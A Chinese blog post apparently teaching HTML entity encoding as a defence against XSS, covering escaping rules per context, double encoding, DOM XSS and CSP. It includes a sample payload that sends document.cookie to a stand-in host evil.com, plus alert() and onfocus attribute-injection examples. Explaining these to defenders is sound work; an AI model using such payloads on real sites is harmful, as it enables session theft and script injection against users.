一个引号就能攻破你的网站,HTML 编码你学不学

简介: 深入解析 HTML 实体编码的完整转义规则与底层原理,详细讲解命名实体与数字实体的区别和各自适用场景,以及在不同上下文中正确编码如何有效防止跨站脚本攻击 XSS

曾接手过一个内部工单系统。上线第二天,运营同事在群里发了张截图——她在备注字段输入了 <a href="http://xxx">点我</a>,结果页面真的渲染出了一个可点击的链接。

我当时的第一判断是"后端没做编码"。查了代码,后端确实调了 htmlspecialchars。再往前查,发现数据经过了两次处理:后端编码完后,前端用 JavaScript 把数据取出来,又拼了一次 innerHTML,但前端拼的时候用的是原始数据,不是编码后的版本。

等于后端白编码了。

这就是典型的 HTML 注入场景。虽然那次不是恶意攻击,但逻辑是一样的:用户输入的内容被当成了 HTML 解析。如果那段内容换成 <script>document.location='http://evil.com/?cookie='+document.cookie</script>,后果就不只是"多个链接"这么简单了。

实体编码的三种写法

HTML 实体编码的核心思路就是把"有特殊含义的字符"替换成"无害的替代表示"。浏览器渲染时看到这些替代表示,知道"哦,这里是想显示一个小于号,不是标签开始"。

有三种写法,浏览器都认:

类型 示例 说明
命名实体 &amp; 只能表示部分常用字符
十进制数字实体 &#38; &# + Unicode 码点 + ;
十六进制数字实体 &#x26; &#x + Unicode 码点 + ;

最常用的几个保留字符:

原始字符 命名实体 十进制 十六进制
& &amp; &#38; &#x26;
< &lt; &#60; &#x3C;
> &gt; &#62; &#x3E;
" &quot; &#34; &#x22;
' &apos; &#39; &#x27;

这三种写法在浏览器里渲染结果没区别。区别在于覆盖范围——命名实体只定义了几百个,而数字实体理论上可以表示所有 Unicode 字符。比如 &#x1F600; 显示 😀,命名实体里就没有这个。

编码和不编码的区别

拿一个具体场景来做对比。假设用户提交了一段文本:

你好 <script>alert('xss')</script> 欢迎

不编码直接输出到 HTML:

浏览器看到 <script> 标签,会尝试执行里面的 JavaScript。因为浏览器解析 HTML 的时候,< 就是标签开始的标志。结果就是个弹窗。

编码后输出:

替换规则逐字符处理。< 变成 &lt;,> 变成 &gt;,' 变成 &apos;。最终结果是:

你好 &lt;script&gt;alert(&apos;xss&apos;)&lt;/script&gt; 欢迎

浏览器渲染这段时,&lt; 被理解成"显示一个小于号",不会当作标签。所有字符都安全地显示为文本。

我用 Python 测过这个转换过程。html.escape 默认只编码 &、<、> 三个字符,引号需要额外指定 quote=True。我一开始没传这个参数,结果属性值里的引号没被编码,还是存在属性注入风险。

import html

raw = "<script>alert('xss')</script>"
print(html.escape(raw))                    # &lt;script&gt;alert('xss')&lt;/script&gt;
print(html.escape(raw, quote=True))        # &lt;script&gt;alert(&#x27;xss&#x27;)&lt;/script&gt;

区别在哪?第一个输出里单引号还是原样,如果这段文本被放到 HTML 属性里,攻击者可以通过单引号提前闭合属性值。

不同上下文,不同规则

HTML 实体编码不是万能药。它只在HTML 标签内容和HTML 属性值这两个上下文中有效。换一个上下文,规则就变了。

HTML 标签内容:<div>{ { text }}</div>。只需要编码 <、>、&。因为在这里,只有 < 可能被误解析为标签起始。

HTML 属性值:<input value="{ { text }}">。除了 <、>、&,还必须编码引号。攻击者可以通过注入 " 闭合属性,然后插入新属性。比如用户输入 " autofocus onfocus="alert(1) 双引号包起来的内容,浏览器会解析出两个属性。

<!-- 未编码的情况 -->
<input value="" autofocus onfocus="alert(1)" />
<!-- 攻击者的 onfocus 被执行了 -->

<!-- 编码后的情况 -->
<input value='" autofocus onfocus="alert(1)' />
<!-- 所有内容都乖乖待在 value 里 -->

JavaScript 字符串:<script>var name = '{ { text }}';</script>。这里的防御规则完全不同。HTML 实体编码帮不上忙,因为浏览器解析 HTML 阶段已经把实体解码了,JavaScript 拿到的是解码后的原始字符。如果用户输入中包含 ' 或 \,可以直接闭合 JavaScript 字符串然后注入代码。

我踩过这个坑。有次在 <script> 标签里嵌了一段用户配置,虽然对 < 做了 HTML 编码,但没处理反斜杠。一个用户在昵称里用了 \,结果 JavaScript 语法直接崩了——\ 转义了后面的引号,字符串被提前闭合。

URL 上下文:<a href="{ { url }}">。这里需要 URL 编码,不是 HTML 编码。如果用户输入 javascript:alert(1),HTML 编码引号是没用的——因为 href 的值里,javascript: 协议会被执行。框架层面也很难防御这个,除非做白名单过滤协议头。

编码不是安全银弹

另一个容易翻车的地方是"二次编码"。

我有一次修一个 bug,看到用户输入在数据库里存的是 &amp;lt;——字面意思的 &amp;lt;。查了一圈发现:用户在表单里输入了 <,前端 JavaScript 做了第一次实体编码变成 &lt;,数据到后端后端又调用了一次 htmlspecialchars,把 &lt; 里的 & 又编码了一遍,变成 &amp;lt;。

结果是页面显示 &lt; 而不是 <。用户看到的是乱码。

判断依据很简单:去数据库查原始存储的值。看到 &amp;lt; 的时候就意识到是双重编码。后来改成只在输出端做一次编码,问题解决。

这条规则一直有效:编码应该在输出端做,不是在输入端。 数据库里存原始数据,模板渲染时再编码。这样不管数据从哪里来(用户输入、API、迁移脚本),都不会出现编码混乱。

XSS 防御的层次

HTML 实体编码防御的是反射型和存储型 XSS——这两种 XSS 的核心都是"用户输入的内容被当成了 HTML 解析"。编码后,内容变成了纯文本,脚本不会被解释执行。

但它对DOM 型 XSS的防护有限。DOM XSS 发生在客户端——前端代码通过 innerHTML、document.write、eval 等 API 把用户控制的字符串当作 HTML 或代码执行。就算服务端做了编码,如果前端在 JavaScript 层面做了额外的解码操作(比如 decodeURIComponent),编码就不起作用了。

我遇到过一种情况:服务端对用户名做了实体编码,但前端拿到数据后用 innerHTML 展示没问题。可另一个功能把用户名放到了 URL 参数里,然后又从 URL 读取出来直接 innerHTML——URL 参数里的数据没有经过服务端编码,等于绕过了防护。
222.png

最佳实践

踩了这么多坑之后,我总结了几条规则:

在服务端做编码。最可靠的是 OWASP 的编码库,Java 用 Java Encoder,Python 用 html.escape,PHP 用 htmlspecialchars。不要在客户端做编码,容易被绕过。

区分上下文。输出到 HTML 标签内容用一套规则,输出到属性值额外编码引号,输出到 JavaScript 用 \xHH 编码,输出到 URL 调用 encodeURIComponent。

用 textContent 替代 innerHTML。如果只是展示文本,textContent 不会把内容解析为 HTML,天然安全。只在确信内容安全时才用 innerHTML。

内容安全策略(CSP)作为最后一道防线。即使编码出漏洞了,CSP 也能阻止恶意脚本执行。我的博客配了 script-src 'self',虽然配置过程被第三方 SDK 折腾了一整天,但配完安心很多。

实际工作中可以用 HTML 实体编码工具 可以在线验证你的编码结果是否正确,支持双向转换和预览。

相关文章
|
6月前
|
Web App开发 开发框架 前端开发
URL 编码到底解决了什么问题
从 URI 规范到浏览器实现,深入解析 URL 编码规则、保留字符和 unsafe 字符分类,分析 encodeURI 与 encodeURIComponent 差异、常见解码陷阱和双重编码问题
625 0
|
8月前
|
人工智能 API 机器人
OpenClaw 用户部署和使用指南汇总
本文档为OpenClaw(原MoltBot)官方使用指南,涵盖一键部署(阿里云轻量服务器年仅68元)、钉钉/飞书/企微等多平台AI员工搭建、典型场景实践及高频问题FAQ。同步更新产品化修复进展,助力用户高效落地7×24小时主动执行AI助手。
30977 253
|
7月前
|
人工智能 JavaScript Linux
【最新版养 AI龙虾🦞指南】零基础 OpenClaw 阿里云/本地部署、配置、使用保姆级教程
OpenClaw(原Clawdbot,曾用名Moltbot)作为一款开源轻量级AI自动化代理工具,2026年版本在部署灵活性、功能兼容性上实现重大升级,核心优势在于“自然语言驱动+全流程任务自动化”,无需手动编写脚本,仅需输入口语化指令,即可完成文档处理、日程管理、文件读写、跨工具协同、代码生成等各类重复性工作,被广泛应用于个人办公、新手开发、轻量团队协作等场景,堪称“私人AI员工”。
1772 92
|
3月前
|
机器学习/深度学习 缓存 人工智能
SSE流式传输稳定性进阶:心跳保活、断连重连、分片处理与双端容错实战.162
SSE(Server-Sent Events)是基于HTTP的单向流式协议,天然适配大模型逐字输出场景。具备轻量、兼容性好、自动重连、低内存占用等优势,相比WebSocket更契合服务端单向推送需求,是AI应用流式响应的理想选择。
622 8
|
6月前
|
JavaScript 前端开发 测试技术
前端开发环境搭建:Node.js、npm与VSCode指南
在当今快速发展的前端开发领域,一个高效、稳定的开发环境是提升生产力的关键。Node.js、npm和VSCode作为现代前端开发的三大核心工具,能够帮助开发者轻松管理依赖、运行脚本以及编写高质量代码。本文将介绍如何搭建这一开发环境,并深入探讨几个关键方面,助你快速上手。
|
5月前
|
Web App开发 存储 前端开发
颜色编码和转换背后的原理,RGB, HSL, HEX
深入解析颜色编码的数学原理,RGB 和 HSL 互转公式,十六进制颜色码的结构,色域和颜色空间的差异
747 1
|
6月前
|
前端开发 JavaScript API
前端简历编写与项目描述技巧:打造脱颖而出的求职利器
在竞争激烈的前端开发领域,一份优秀的简历和清晰的项目描述是获得面试机会的关键。如何通过简洁有力的文字展现技术实力与项目价值?以下是几个核心技巧,助你提升简历竞争力
|
9月前
|
Kubernetes 应用服务中间件 API
应对 Nginx Ingress 退役,是时候理清这些易混淆的概念了
本文希望提供一种更简单的方式,来理解这些容易混淆的技术概念:Nginx、Ingress、Ingress Controller、Ingress API、Nginx Ingress、Higress、Gateway API。
4267 189
|
5月前
|
算法 安全 JavaScript
JWT 令牌的工作原理,结构和签名验证
深入解析 JWT 的结构组成,Header Payload 和 Signature 三部分的编码方式,RS256 和 HS256 签名算法的区别和选型
432 0
|
7月前
|
前端开发
【大白话前端 10】从页面互跳到锚点定位,关于 <a> 标签最容易被忽视的 5 个实操
HTML中`&lt;a&gt;`标签是网页互联的基石。本文详解5大核心用法:外链(需带`https://`)、内链(相对路径)、新页打开(`target=&quot;_blank&quot;`)、页面锚点(`#id`)、下载/邮件(`download`/`mailto:`),并强调常见误区与速记要点。(239字)